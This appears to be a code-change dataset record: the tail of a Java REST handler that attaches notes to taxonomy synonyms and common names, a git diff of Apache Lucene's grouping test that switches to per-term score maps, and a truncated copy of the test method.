+ type + " found for " + id); } } else if (type.equals("synonym")) { org.iucn.sis.shared.api.models.Synonym synonym; try { synonym = SIS.get().getManager().getObject(session, org.iucn.sis.shared.api.models.Synonym.class, id); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } if (synonym == null) throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); try { note.setSynonym(synonym); synonym.getNotes().add(note); SIS.get().getManager().saveObject(session, note); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } synonym.getTaxon().toXML(); response.setStatus(Status.SUCCESS_OK); response.setEntity(note.toXML(), MediaType.TEXT_XML); } else if (type.equalsIgnoreCase("commonName")) { CommonName commonName; try { commonName = SIS.get().getManager().getObject(session, CommonName.class, id); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } if (commonName == null) throw new ResourceException(Status.CLIENT_ERROR_NOT_FOUND, "No " + type + " found for " + id); try { note.setCommonName(commonName); commonName.getNotes().add(note); SIS.get().getManager().saveObject(session, note); } catch (PersistentException e) { throw new ResourceException(Status.SERVER_ERROR_INTERNAL, e); } commonName.getTaxon().toXML(); response.setStatus(Status.SUCCESS_OK); response.setEntity(note.getId() + "", MediaType.TEXT_PLAIN); } else throw new ResourceException(Status.CLIENT_ERROR_BAD_REQUEST, "Invalid type specified: " + type); } }
diff --git a/modules/grouping/src/test/org/apache/lucene/search/grouping/TestGrouping.java b/modules/grouping/src/test/org/apache/lucene/search/grouping/TestGrouping.java index 2a4bcbcec..89a9ecb93 100644 --- a/modules/grouping/src/test/org/apache/lucene/search/grouping/TestGrouping.java +++ b/modules/grouping/src/test/org/apache/lucene/search/grouping/TestGrouping.java @@ -1,861 +1,867 @@ /** * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.lucene.search.grouping; import org.apache.lucene.analysis.MockAnalyzer; import org.apache.lucene.document.Document; import org.apache.lucene.document.Field; import org.apache.lucene.document.NumericField; import org.apache.lucene.index.IndexReader; import org.apache.lucene.index.RandomIndexWriter; import org.apache.lucene.index.Term; import org.apache.lucene.search.*; import org.apache.lucene.store.Directory; import org.apache.lucene.util.BytesRef; import org.apache.lucene.util.LuceneTestCase; import org.apache.lucene.util._TestUtil; import java.io.IOException; import java.util.*; // TODO // - should test relevance sort too // - test null // - test ties // - test compound sort public class TestGrouping extends LuceneTestCase { public void testBasic() throws Exception { final String groupField = "author"; Directory dir = newDirectory(); RandomIndexWriter w = new RandomIndexWriter( random, dir, newIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(random)).setMergePolicy(newLogMergePolicy())); // 0 Document doc = new Document(); doc.add(new Field(groupField, "author1", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("content", "random text", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("id", "1", Field.Store.YES, Field.Index.NO)); w.addDocument(doc); // 1 doc = new Document(); doc.add(new Field(groupField, "author1", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("content", "some more random text", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("id", "2", Field.Store.YES, Field.Index.NO)); w.addDocument(doc); // 2 doc = new Document(); doc.add(new Field(groupField, "author1", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("content", "some more random textual data", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("id", "3", Field.Store.YES, Field.Index.NO)); w.addDocument(doc); // 3 doc = new Document(); doc.add(new Field(groupField, "author2", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("content", "some random text", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("id", "4", Field.Store.YES, Field.Index.NO)); w.addDocument(doc); // 4 doc = new Document(); doc.add(new Field(groupField, "author3", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("content", "some more random text", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("id", "5", Field.Store.YES, Field.Index.NO)); w.addDocument(doc); // 5 doc = new Document(); doc.add(new Field(groupField, "author3", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("content", "random", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("id", "6", Field.Store.YES, Field.Index.NO)); w.addDocument(doc); // 6 -- no author field doc = new Document(); doc.add(new Field("content", "random word stuck in alot of other text", Field.Store.YES, Field.Index.ANALYZED)); doc.add(new Field("id", "6", Field.Store.YES, Field.Index.NO)); w.addDocument(doc); IndexSearcher indexSearcher = new IndexSearcher(w.getReader()); w.close(); final Sort groupSort = Sort.RELEVANCE; final TermFirstPassGroupingCollector c1 = new TermFirstPassGroupingCollector(groupField, groupSort, 10); indexSearcher.search(new TermQuery(new Term("content", "random")), c1); final TermSecondPassGroupingCollector c2 = new TermSecondPassGroupingCollector(groupField, c1.getTopGroups(0, true), groupSort, null, 5, true, false, true); indexSearcher.search(new TermQuery(new Term("content", "random")), c2); final TopGroups groups = c2.getTopGroups(0); assertEquals(7, groups.totalHitCount); assertEquals(7, groups.totalGroupedHitCount); assertEquals(4, groups.groups.length); // relevance order: 5, 0, 3, 4, 1, 2, 6 // the later a document is added the higher this docId // value GroupDocs group = groups.groups[0]; assertEquals(new BytesRef("author3"), group.groupValue); assertEquals(2, group.scoreDocs.length); assertEquals(5, group.scoreDocs[0].doc); assertEquals(4, group.scoreDocs[1].doc); assertTrue(group.scoreDocs[0].score > group.scoreDocs[1].score); group = groups.groups[1]; assertEquals(new BytesRef("author1"), group.groupValue); assertEquals(3, group.scoreDocs.length); assertEquals(0, group.scoreDocs[0].doc); assertEquals(1, group.scoreDocs[1].doc); assertEquals(2, group.scoreDocs[2].doc); assertTrue(group.scoreDocs[0].score > group.scoreDocs[1].score); assertTrue(group.scoreDocs[1].score > group.scoreDocs[2].score); group = groups.groups[2]; assertEquals(new BytesRef("author2"), group.groupValue); assertEquals(1, group.scoreDocs.length); assertEquals(3, group.scoreDocs[0].doc); group = groups.groups[3]; assertNull(group.groupValue); assertEquals(1, group.scoreDocs.length); assertEquals(6, group.scoreDocs[0].doc); indexSearcher.getIndexReader().close(); dir.close(); } private static class GroupDoc { final int id; final BytesRef group; final BytesRef sort1; final BytesRef sort2; // content must be "realN ..." final String content; float score; float score2; public GroupDoc(int id, BytesRef group, BytesRef sort1, BytesRef sort2, String content) { this.id = id; this.group = group; this.sort1 = sort1; this.sort2 = sort2; this.content = content; } } private Sort getRandomSort() { final List<SortField> sortFields = new ArrayList<SortField>(); if (random.nextInt(7) == 2) { sortFields.add(SortField.FIELD_SCORE); } else { if (random.nextBoolean()) { if (random.nextBoolean()) { sortFields.add(new SortField("sort1", SortField.STRING, random.nextBoolean())); } else { sortFields.add(new SortField("sort2", SortField.STRING, random.nextBoolean())); } } else if (random.nextBoolean()) { sortFields.add(new SortField("sort1", SortField.STRING, random.nextBoolean())); sortFields.add(new SortField("sort2", SortField.STRING, random.nextBoolean())); } } // Break ties: sortFields.add(new SortField("id", SortField.INT)); return new Sort(sortFields.toArray(new SortField[sortFields.size()])); } private Comparator<GroupDoc> getComparator(Sort sort) { final SortField[] sortFields = sort.getSort(); return new Comparator<GroupDoc>() { // @Override -- Not until Java 1.6 public int compare(GroupDoc d1, GroupDoc d2) { for(SortField sf : sortFields) { final int cmp; if (sf.getType() == SortField.SCORE) { if (d1.score > d2.score) { cmp = -1; } else if (d1.score < d2.score) { cmp = 1; } else { cmp = 0; } } else if (sf.getField().equals("sort1")) { cmp = d1.sort1.compareTo(d2.sort1); } else if (sf.getField().equals("sort2")) { cmp = d1.sort2.compareTo(d2.sort2); } else { assertEquals(sf.getField(), "id"); cmp = d1.id - d2.id; } if (cmp != 0) { return sf.getReverse() ? -cmp : cmp; } } // Our sort always fully tie breaks: fail(); return 0; } }; } private Comparable<?>[] fillFields(GroupDoc d, Sort sort) { final SortField[] sortFields = sort.getSort(); final Comparable<?>[] fields = new Comparable[sortFields.length]; for(int fieldIDX=0;fieldIDX<sortFields.length;fieldIDX++) { final Comparable<?> c; final SortField sf = sortFields[fieldIDX]; if (sf.getType() == SortField.SCORE) { c = new Float(d.score); } else if (sf.getField().equals("sort1")) { c = d.sort1; } else if (sf.getField().equals("sort2")) { c = d.sort2; } else { assertEquals("id", sf.getField()); c = new Integer(d.id); } fields[fieldIDX] = c; } return fields; } /* private String groupToString(BytesRef b) { if (b == null) { return "null"; } else { return b.utf8ToString(); } } */ private TopGroups<BytesRef> slowGrouping(GroupDoc[] groupDocs, String searchTerm, boolean fillFields, boolean getScores, boolean getMaxScores, boolean doAllGroups, Sort groupSort, Sort docSort, int topNGroups, int docsPerGroup, int groupOffset, int docOffset) { final Comparator<GroupDoc> groupSortComp = getComparator(groupSort); Arrays.sort(groupDocs, groupSortComp); final HashMap<BytesRef,List<GroupDoc>> groups = new HashMap<BytesRef,List<GroupDoc>>(); final List<BytesRef> sortedGroups = new ArrayList<BytesRef>(); final List<Comparable<?>[]> sortedGroupFields = new ArrayList<Comparable<?>[]>(); int totalHitCount = 0; Set<BytesRef> knownGroups = new HashSet<BytesRef>(); //System.out.println("TEST: slowGrouping"); for(GroupDoc d : groupDocs) { // TODO: would be better to filter by searchTerm before sorting! if (!d.content.startsWith(searchTerm)) { continue; } totalHitCount++; //System.out.println(" match id=" + d.id + " score=" + d.score); if (doAllGroups) { if (!knownGroups.contains(d.group)) { knownGroups.add(d.group); //System.out.println(" add group=" + groupToString(d.group)); } } List<GroupDoc> l = groups.get(d.group); if (l == null) { //System.out.println(" add sortedGroup=" + groupToString(d.group)); sortedGroups.add(d.group); if (fillFields) { sortedGroupFields.add(fillFields(d, groupSort)); } l = new ArrayList<GroupDoc>(); groups.put(d.group, l); } l.add(d); } if (groupOffset >= sortedGroups.size()) { // slice is out of bounds return null; } final int limit = Math.min(groupOffset + topNGroups, groups.size()); final Comparator<GroupDoc> docSortComp = getComparator(docSort); @SuppressWarnings("unchecked") final GroupDocs<BytesRef>[] result = new GroupDocs[limit-groupOffset]; int totalGroupedHitCount = 0; for(int idx=groupOffset;idx < limit;idx++) { final BytesRef group = sortedGroups.get(idx); final List<GroupDoc> docs = groups.get(group); totalGroupedHitCount += docs.size(); Collections.sort(docs, docSortComp); final ScoreDoc[] hits; if (docs.size() > docOffset) { final int docIDXLimit = Math.min(docOffset + docsPerGroup, docs.size()); hits = new ScoreDoc[docIDXLimit - docOffset]; for(int docIDX=docOffset; docIDX < docIDXLimit; docIDX++) { final GroupDoc d = docs.get(docIDX); final FieldDoc fd; if (fillFields) { fd = new FieldDoc(d.id, getScores ? d.score : Float.NaN, fillFields(d, docSort)); } else { fd = new FieldDoc(d.id, getScores ? d.score : Float.NaN); } hits[docIDX-docOffset] = fd; } } else { hits = new ScoreDoc[0]; } result[idx-groupOffset] = new GroupDocs<BytesRef>(0.0f, docs.size(), hits, group, fillFields ? sortedGroupFields.get(idx) : null); } if (doAllGroups) { return new TopGroups<BytesRef>( new TopGroups<BytesRef>(groupSort.getSort(), docSort.getSort(), totalHitCount, totalGroupedHitCount, result), knownGroups.size() ); } else { return new TopGroups<BytesRef>(groupSort.getSort(), docSort.getSort(), totalHitCount, totalGroupedHitCount, result); } } private IndexReader getDocBlockReader(Directory dir, GroupDoc[] groupDocs) throws IOException { // Coalesce by group, but in random order: Collections.shuffle(Arrays.asList(groupDocs), random); final Map<BytesRef,List<GroupDoc>> groupMap = new HashMap<BytesRef,List<GroupDoc>>(); final List<BytesRef> groupValues = new ArrayList<BytesRef>(); for(GroupDoc groupDoc : groupDocs) { if (!groupMap.containsKey(groupDoc.group)) { groupValues.add(groupDoc.group); groupMap.put(groupDoc.group, new ArrayList<GroupDoc>()); } groupMap.get(groupDoc.group).add(groupDoc); } RandomIndexWriter w = new RandomIndexWriter( random, dir, newIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(random))); final List<List<Document>> updateDocs = new ArrayList<List<Document>>(); //System.out.println("TEST: index groups"); for(BytesRef group : groupValues) { final List<Document> docs = new ArrayList<Document>(); //System.out.println("TEST: group=" + (group == null ? "null" : group.utf8ToString())); for(GroupDoc groupValue : groupMap.get(group)) { Document doc = new Document(); docs.add(doc); if (groupValue.group != null) { doc.add(newField("group", groupValue.group.utf8ToString(), Field.Index.NOT_ANALYZED)); } doc.add(newField("sort1", groupValue.sort1.utf8ToString(), Field.Index.NOT_ANALYZED)); doc.add(newField("sort2", groupValue.sort2.utf8ToString(), Field.Index.NOT_ANALYZED)); doc.add(new NumericField("id").setIntValue(groupValue.id)); doc.add(newField("content", groupValue.content, Field.Index.ANALYZED)); //System.out.println("TEST: doc content=" + groupValue.content + " group=" + (groupValue.group == null ? "null" : groupValue.group.utf8ToString()) + " sort1=" + groupValue.sort1.utf8ToString() + " id=" + groupValue.id); } // So we can pull filter marking last doc in block: final Field groupEnd = newField("groupend", "x", Field.Index.NOT_ANALYZED); groupEnd.setOmitTermFreqAndPositions(true); groupEnd.setOmitNorms(true); docs.get(docs.size()-1).add(groupEnd); // Add as a doc block: w.addDocuments(docs); if (group != null && random.nextInt(7) == 4) { updateDocs.add(docs); } } for(List<Document> docs : updateDocs) { // Just replaces docs w/ same docs: w.updateDocuments(new Term("group", docs.get(0).get("group")), docs); } final IndexReader r = w.getReader(); w.close(); return r; } public void testRandom() throws Exception { for(int iter=0;iter<3;iter++) { if (VERBOSE) { System.out.println("TEST: iter=" + iter); } final int numDocs = _TestUtil.nextInt(random, 100, 1000) * RANDOM_MULTIPLIER; //final int numDocs = _TestUtil.nextInt(random, 5, 20); final int numGroups = _TestUtil.nextInt(random, 1, numDocs); if (VERBOSE) { System.out.println("TEST: numDocs=" + numDocs + " numGroups=" + numGroups); } final List<BytesRef> groups = new ArrayList<BytesRef>(); for(int i=0;i<numGroups;i++) { groups.add(new BytesRef(_TestUtil.randomRealisticUnicodeString(random))); //groups.add(new BytesRef(_TestUtil.randomSimpleString(random))); } final String[] contentStrings = new String[_TestUtil.nextInt(random, 2, 20)]; if (VERBOSE) { System.out.println("TEST: create fake content"); } for(int contentIDX=0;contentIDX<contentStrings.length;contentIDX++) { final StringBuilder sb = new StringBuilder(); sb.append("real" + random.nextInt(3)).append(' '); final int fakeCount = random.nextInt(10); for(int fakeIDX=0;fakeIDX<fakeCount;fakeIDX++) { sb.append("fake "); } contentStrings[contentIDX] = sb.toString(); if (VERBOSE) { System.out.println(" content=" + sb.toString()); } } Directory dir = newDirectory(); RandomIndexWriter w = new RandomIndexWriter( random, dir, newIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(random))); Document doc = new Document(); Document docNoGroup = new Document(); Field group = newField("group", "", Field.Index.NOT_ANALYZED); doc.add(group); Field sort1 = newField("sort1", "", Field.Index.NOT_ANALYZED); doc.add(sort1); docNoGroup.add(sort1); Field sort2 = newField("sort2", "", Field.Index.NOT_ANALYZED); doc.add(sort2); docNoGroup.add(sort2); Field content = newField("content", "", Field.Index.ANALYZED); doc.add(content); docNoGroup.add(content); NumericField id = new NumericField("id"); doc.add(id); docNoGroup.add(id); final GroupDoc[] groupDocs = new GroupDoc[numDocs]; for(int i=0;i<numDocs;i++) { final BytesRef groupValue; if (random.nextInt(24) == 17) { // So we test the "doc doesn't have the group'd // field" case: groupValue = null; } else { groupValue = groups.get(random.nextInt(groups.size())); } final GroupDoc groupDoc = new GroupDoc(i, groupValue, groups.get(random.nextInt(groups.size())), groups.get(random.nextInt(groups.size())), contentStrings[random.nextInt(contentStrings.length)]); if (VERBOSE) { System.out.println(" doc content=" + groupDoc.content + " id=" + i + " group=" + (groupDoc.group == null ? "null" : groupDoc.group.utf8ToString()) + " sort1=" + groupDoc.sort1.utf8ToString() + " sort2=" + groupDoc.sort2.utf8ToString()); } groupDocs[i] = groupDoc; if (groupDoc.group != null) { group.setValue(groupDoc.group.utf8ToString()); } sort1.setValue(groupDoc.sort1.utf8ToString()); sort2.setValue(groupDoc.sort2.utf8ToString()); content.setValue(groupDoc.content); id.setIntValue(groupDoc.id); if (groupDoc.group == null) { w.addDocument(docNoGroup); } else { w.addDocument(doc); } } final GroupDoc[] groupDocsByID = new GroupDoc[groupDocs.length]; System.arraycopy(groupDocs, 0, groupDocsByID, 0, groupDocs.length); final IndexReader r = w.getReader(); w.close(); // NOTE: intentional but temporary field cache insanity! final int[] docIDToID = FieldCache.DEFAULT.getInts(r, "id"); IndexReader r2 = null; Directory dir2 = null; try { final IndexSearcher s = new IndexSearcher(r); for(int contentID=0;contentID<3;contentID++) { final ScoreDoc[] hits = s.search(new TermQuery(new Term("content", "real"+contentID)), numDocs).scoreDocs; for(ScoreDoc hit : hits) { final GroupDoc gd = groupDocs[docIDToID[hit.doc]]; assertTrue(gd.score == 0.0); gd.score = hit.score; assertEquals(gd.id, docIDToID[hit.doc]); //System.out.println(" score=" + hit.score + " id=" + docIDToID[hit.doc]); } } for(GroupDoc gd : groupDocs) { assertTrue(gd.score != 0.0); } // Build 2nd index, where docs are added in blocks by // group, so we can use single pass collector dir2 = newDirectory(); r2 = getDocBlockReader(dir2, groupDocs); final Filter lastDocInBlock = new CachingWrapperFilter(new QueryWrapperFilter(new TermQuery(new Term("groupend", "x")))); final int[] docIDToID2 = FieldCache.DEFAULT.getInts(r2, "id"); final IndexSearcher s2 = new IndexSearcher(r2); // Reader2 only increases maxDoc() vs reader, which // means a monotonic shift in scores, so we can // reliably remap them w/ Map: - final Map<Float,Float> scoreMap = new HashMap<Float,Float>(); + final Map<String,Map<Float,Float>> scoreMap = new HashMap<String,Map<Float,Float>>(); // Tricky: must separately set .score2, because the doc // block index was created with possible deletions! + //System.out.println("fixup score2"); for(int contentID=0;contentID<3;contentID++) { + //System.out.println(" term=real" + contentID); + final Map<Float,Float> termScoreMap = new HashMap<Float,Float>(); + scoreMap.put("real"+contentID, termScoreMap); //System.out.println("term=real" + contentID + " dfold=" + s.docFreq(new Term("content", "real"+contentID)) + //" dfnew=" + s2.docFreq(new Term("content", "real"+contentID))); final ScoreDoc[] hits = s2.search(new TermQuery(new Term("content", "real"+contentID)), numDocs).scoreDocs; for(ScoreDoc hit : hits) { final GroupDoc gd = groupDocsByID[docIDToID2[hit.doc]]; assertTrue(gd.score2 == 0.0); gd.score2 = hit.score; assertEquals(gd.id, docIDToID2[hit.doc]); - //System.out.println(" score=" + hit.score + " id=" + docIDToID2[hit.doc]); - scoreMap.put(gd.score, gd.score2); + //System.out.println(" score=" + gd.score + " score2=" + hit.score + " id=" + docIDToID2[hit.doc]); + termScoreMap.put(gd.score, gd.score2); } } for(int searchIter=0;searchIter<100;searchIter++) { if (VERBOSE) { System.out.println("TEST: searchIter=" + searchIter); } final String searchTerm = "real" + random.nextInt(3); final boolean fillFields = random.nextBoolean(); boolean getScores = random.nextBoolean(); final boolean getMaxScores = random.nextBoolean(); final Sort groupSort = getRandomSort(); //final Sort groupSort = new Sort(new SortField[] {new SortField("sort1", SortField.STRING), new SortField("id", SortField.INT)}); // TODO: also test null (= sort by relevance) final Sort docSort = getRandomSort(); for(SortField sf : docSort.getSort()) { if (sf.getType() == SortField.SCORE) { getScores = true; } } for(SortField sf : groupSort.getSort()) { if (sf.getType() == SortField.SCORE) { getScores = true; } } final int topNGroups = _TestUtil.nextInt(random, 1, 30); //final int topNGroups = 4; final int docsPerGroup = _TestUtil.nextInt(random, 1, 50); final int groupOffset = _TestUtil.nextInt(random, 0, (topNGroups-1)/2); //final int groupOffset = 0; final int docOffset = _TestUtil.nextInt(random, 0, docsPerGroup-1); //final int docOffset = 0; final boolean doCache = random.nextBoolean(); final boolean doAllGroups = random.nextBoolean(); if (VERBOSE) { System.out.println("TEST: groupSort=" + groupSort + " docSort=" + docSort + " searchTerm=" + searchTerm + " topNGroups=" + topNGroups + " groupOffset=" + groupOffset + " docOffset=" + docOffset + " doCache=" + doCache + " docsPerGroup=" + docsPerGroup + " doAllGroups=" + doAllGroups + " getScores=" + getScores + " getMaxScores=" + getMaxScores); } final TermAllGroupsCollector allGroupsCollector; if (doAllGroups) { allGroupsCollector = new TermAllGroupsCollector("group"); } else { allGroupsCollector = null; } final TermFirstPassGroupingCollector c1 = new TermFirstPassGroupingCollector("group", groupSort, groupOffset+topNGroups); final CachingCollector cCache; final Collector c; final boolean useWrappingCollector = random.nextBoolean(); if (doCache) { final double maxCacheMB = random.nextDouble(); if (VERBOSE) { System.out.println("TEST: maxCacheMB=" + maxCacheMB); } if (useWrappingCollector) { if (doAllGroups) { cCache = CachingCollector.create(c1, true, maxCacheMB); c = MultiCollector.wrap(cCache, allGroupsCollector); } else { c = cCache = CachingCollector.create(c1, true, maxCacheMB); } } else { // Collect only into cache, then replay multiple times: c = cCache = CachingCollector.create(false, true, maxCacheMB); } } else { cCache = null; if (doAllGroups) { c = MultiCollector.wrap(c1, allGroupsCollector); } else { c = c1; } } s.search(new TermQuery(new Term("content", searchTerm)), c); if (doCache && !useWrappingCollector) { if (cCache.isCached()) { // Replay for first-pass grouping cCache.replay(c1); if (doAllGroups) { // Replay for all groups: cCache.replay(allGroupsCollector); } } else { // Replay by re-running search: s.search(new TermQuery(new Term("content", searchTerm)), c1); if (doAllGroups) { s.search(new TermQuery(new Term("content", searchTerm)), allGroupsCollector); } } } final Collection<SearchGroup<BytesRef>> topGroups = c1.getTopGroups(groupOffset, fillFields); final TopGroups groupsResult; if (topGroups != null) { if (VERBOSE) { System.out.println("TEST: topGroups"); for (SearchGroup<BytesRef> searchGroup : topGroups) { System.out.println(" " + (searchGroup.groupValue == null ? "null" : searchGroup.groupValue.utf8ToString()) + ": " + Arrays.deepToString(searchGroup.sortValues)); } } final TermSecondPassGroupingCollector c2 = new TermSecondPassGroupingCollector("group", topGroups, groupSort, docSort, docOffset+docsPerGroup, getScores, getMaxScores, fillFields); if (doCache) { if (cCache.isCached()) { if (VERBOSE) { System.out.println("TEST: cache is intact"); } cCache.replay(c2); } else { if (VERBOSE) { System.out.println("TEST: cache was too large"); } s.search(new TermQuery(new Term("content", searchTerm)), c2); } } else { s.search(new TermQuery(new Term("content", searchTerm)), c2); } if (doAllGroups) { TopGroups<BytesRef> tempTopGroups = c2.getTopGroups(docOffset); groupsResult = new TopGroups<BytesRef>(tempTopGroups, allGroupsCollector.getGroupCount()); } else { groupsResult = c2.getTopGroups(docOffset); } } else { groupsResult = null; if (VERBOSE) { System.out.println("TEST: no results"); } } final TopGroups<BytesRef> expectedGroups = slowGrouping(groupDocs, searchTerm, fillFields, getScores, getMaxScores, doAllGroups, groupSort, docSort, topNGroups, docsPerGroup, groupOffset, docOffset); if (VERBOSE) { if (expectedGroups == null) { System.out.println("TEST: no expected groups"); } else { System.out.println("TEST: expected groups"); for(GroupDocs<BytesRef> gd : expectedGroups.groups) { System.out.println(" group=" + (gd.groupValue == null ? "null" : gd.groupValue.utf8ToString())); for(ScoreDoc sd : gd.scoreDocs) { System.out.println(" id=" + sd.doc + " score=" + sd.score); } } } } assertEquals(docIDToID, expectedGroups, groupsResult, true, getScores); final boolean needsScores = getScores || getMaxScores || docSort == null; final BlockGroupingCollector c3 = new BlockGroupingCollector(groupSort, groupOffset+topNGroups, needsScores, lastDocInBlock); final TermAllGroupsCollector allGroupsCollector2; final Collector c4; if (doAllGroups) { allGroupsCollector2 = new TermAllGroupsCollector("group"); c4 = MultiCollector.wrap(c3, allGroupsCollector2); } else { allGroupsCollector2 = null; c4 = c3; } s2.search(new TermQuery(new Term("content", searchTerm)), c4); @SuppressWarnings("unchecked") final TopGroups<BytesRef> tempTopGroups2 = c3.getTopGroups(docSort, groupOffset, docOffset, docOffset+docsPerGroup, fillFields); final TopGroups groupsResult2; if (doAllGroups && tempTopGroups2 != null) { assertEquals((int) tempTopGroups2.totalGroupCount, allGroupsCollector2.getGroupCount()); groupsResult2 = new TopGroups<BytesRef>(tempTopGroups2, allGroupsCollector2.getGroupCount()); } else { groupsResult2 = tempTopGroups2; } if (expectedGroups != null) { // Fixup scores for reader2 for (GroupDocs groupDocsHits : expectedGroups.groups) { for(ScoreDoc hit : groupDocsHits.scoreDocs) { final GroupDoc gd = groupDocsByID[hit.doc]; assertEquals(gd.id, hit.doc); //System.out.println("fixup score " + hit.score + " to " + gd.score2 + " vs " + gd.score); hit.score = gd.score2; } } final SortField[] sortFields = groupSort.getSort(); + final Map<Float,Float> termScoreMap = scoreMap.get(searchTerm); for(int groupSortIDX=0;groupSortIDX<sortFields.length;groupSortIDX++) { if (sortFields[groupSortIDX].getType() == SortField.SCORE) { for (GroupDocs groupDocsHits : expectedGroups.groups) { if (groupDocsHits.groupSortValues != null) { - groupDocsHits.groupSortValues[groupSortIDX] = scoreMap.get(groupDocsHits.groupSortValues[groupSortIDX]); + //System.out.println("remap " + groupDocsHits.groupSortValues[groupSortIDX] + " to " + termScoreMap.get(groupDocsHits.groupSortValues[groupSortIDX])); + groupDocsHits.groupSortValues[groupSortIDX] = termScoreMap.get(groupDocsHits.groupSortValues[groupSortIDX]); assertNotNull(groupDocsHits.groupSortValues[groupSortIDX]); } } } } final SortField[] docSortFields = docSort.getSort(); for(int docSortIDX=0;docSortIDX<docSortFields.length;docSortIDX++) { if (docSortFields[docSortIDX].getType() == SortField.SCORE) { for (GroupDocs groupDocsHits : expectedGroups.groups) { for(ScoreDoc _hit : groupDocsHits.scoreDocs) { FieldDoc hit = (FieldDoc) _hit; if (hit.fields != null) { - hit.fields[docSortIDX] = scoreMap.get(hit.fields[docSortIDX]); + hit.fields[docSortIDX] = termScoreMap.get(hit.fields[docSortIDX]); assertNotNull(hit.fields[docSortIDX]); } } } } } } assertEquals(docIDToID2, expectedGroups, groupsResult2, false, getScores); } } finally { FieldCache.DEFAULT.purge(r); if (r2 != null) { FieldCache.DEFAULT.purge(r2); } } r.close(); dir.close(); r2.close(); dir2.close(); } } private void assertEquals(int[] docIDtoID, TopGroups expected, TopGroups actual, boolean verifyGroupValues, boolean testScores) { if (expected == null) { assertNull(actual); return; } assertNotNull(actual); assertEquals(expected.groups.length, actual.groups.length); assertEquals(expected.totalHitCount, actual.totalHitCount); assertEquals(expected.totalGroupedHitCount, actual.totalGroupedHitCount); if (expected.totalGroupCount != null) { assertEquals(expected.totalGroupCount, actual.totalGroupCount); } for(int groupIDX=0;groupIDX<expected.groups.length;groupIDX++) { if (VERBOSE) { System.out.println(" check groupIDX=" + groupIDX); } final GroupDocs expectedGroup = expected.groups[groupIDX]; final GroupDocs actualGroup = actual.groups[groupIDX]; if (verifyGroupValues) { assertEquals(expectedGroup.groupValue, actualGroup.groupValue); } assertArrayEquals(expectedGroup.groupSortValues, actualGroup.groupSortValues); // TODO // assertEquals(expectedGroup.maxScore, actualGroup.maxScore); assertEquals(expectedGroup.totalHits, actualGroup.totalHits); final ScoreDoc[] expectedFDs = expectedGroup.scoreDocs; final ScoreDoc[] actualFDs = actualGroup.scoreDocs; assertEquals(expectedFDs.length, actualFDs.length); for(int docIDX=0;docIDX<expectedFDs.length;docIDX++) { final FieldDoc expectedFD = (FieldDoc) expectedFDs[docIDX]; final FieldDoc actualFD = (FieldDoc) actualFDs[docIDX]; //System.out.println(" actual doc=" + docIDtoID[actualFD.doc] + " score=" + actualFD.score); assertEquals(expectedFD.doc, docIDtoID[actualFD.doc]); if (testScores) { assertEquals(expectedFD.score, actualFD.score); } else { // TODO: too anal for now //assertEquals(Float.NaN, actualFD.score); } assertArrayEquals(expectedFD.fields, actualFD.fields); } } } }
false
true
public void testRandom() throws Exception { for(int iter=0;iter<3;iter++) { if (VERBOSE) { System.out.println("TEST: iter=" + iter); } final int numDocs = _TestUtil.nextInt(random, 100, 1000) * RANDOM_MULTIPLIER; //final int numDocs = _TestUtil.nextInt(random, 5, 20); final int numGroups = _TestUtil.nextInt(random, 1, numDocs); if (VERBOSE) { System.out.println("TEST: numDocs=" + numDocs + " numGroups=" + numGroups); } final List<BytesRef> groups = new ArrayList<BytesRef>(); for(int i=0;i<numGroups;i++) { groups.add(new BytesRef(_TestUtil.randomRealisticUnicodeString(random))); //groups.add(new BytesRef(_TestUtil.randomSimpleString(random))); } final String[] contentStrings = new String[_TestUtil.nextInt(random, 2, 20)]; if (VERBOSE) { System.out.println("TEST: create fake content"); } for(int contentIDX=0;contentIDX<contentStrings.length;contentIDX++) { final StringBuilder sb = new StringBuilder(); sb.append("real" + random.nextInt(3)).append(' '); final int fakeCount = random.nextInt(10); for(int fakeIDX=0;fakeIDX<fakeCount;fakeIDX++) { sb.append("fake "); } contentStrings[contentIDX] = sb.toString(); if (VERBOSE) { System.out.println(" content=" + sb.toString()); } } Directory dir = newDirectory(); RandomIndexWriter w = new RandomIndexWriter( random, dir, newIndexWriterConfig(TEST_VERSION_CURRENT, new MockAnalyzer(random))); Document doc = new Document(); Document docNoGroup = new Document(); Field group = newField("group", "", Field.Index.NOT_ANALYZED); doc.add(group); Field sort1 = newField("sort1", "", Field.Index.NOT_ANALYZED); doc.add(sort1); docNoGroup.add(sort1); Field sort2 = newField("sort2", "", Field.Index.NOT_ANALYZED); doc.add(sort2); docNoGroup.add(sort2); Field content = newField("content", "", Field.Index.ANALYZED); doc.add(content); docNoGroup.add(content); NumericField id = new NumericField("id"); doc.add(id); docNoGroup.add(id); final GroupDoc[] groupDocs = new GroupDoc[numDocs]; for(int i=0;i<numDocs;i++) { final BytesRef groupValue; if (random.nextInt(24) == 17) { // So we 